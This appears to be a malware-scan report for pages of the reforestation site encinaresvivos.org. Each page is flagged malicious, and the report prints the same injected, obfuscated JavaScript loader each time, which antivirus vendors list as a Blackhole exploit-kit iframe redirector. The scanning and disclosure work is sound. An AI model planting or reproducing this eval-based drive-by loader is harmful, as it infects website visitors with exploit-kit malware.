Request | Server response | Status |
http://encinaresvivos.org/ | 200 OK Content-Length: 56488 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/91-breves-noticias-y-convocatorias/108-quieres-conocer-la-mancha | 200 OK Content-Length: 54623 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/91-breves-noticias-y-convocatorias/101-encinares-vivos-en-la-red | 200 OK Content-Length: 55495 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/91-breves-noticias-y-convocatorias/100-ven-a-plantar-con-nosotros | 200 OK Content-Length: 57749 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/91-breves-noticias-y-convocatorias/98-adquisicion-de-planta-para-la-nueva-temporada-2 | 200 OK Content-Length: 57003 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/91-breves-noticias-y-convocatorias/99-comienzan-los-plazos-del-plan-de-reforestacion-de-la-junta-de-comunidades | 200 OK Content-Length: 56129 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/91-breves-noticias-y-convocatorias | 200 OK Content-Length: 57331 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/91-breves-noticias-y-convocatorias/97-adquisicion-de-planta-para-la-nueva-temporada | 200 OK Content-Length: 55666 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/78-theme-features/73-flexible-fixed-and-fluid-grid | 200 OK Content-Length: 57352 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/78-theme-features | 200 OK Content-Length: 56622 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/78-theme-features/74-rich-typography | 200 OK Content-Length: 57295 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/78-theme-features/ | 200 OK Content-Length: 56623 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/78-theme-features?start=2 | 200 OK Content-Length: 55731 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/78-theme-features/75-gravida-massa-amet-at-lacus | 200 OK Content-Length: 57353 Content-Type: text/html | malicious |
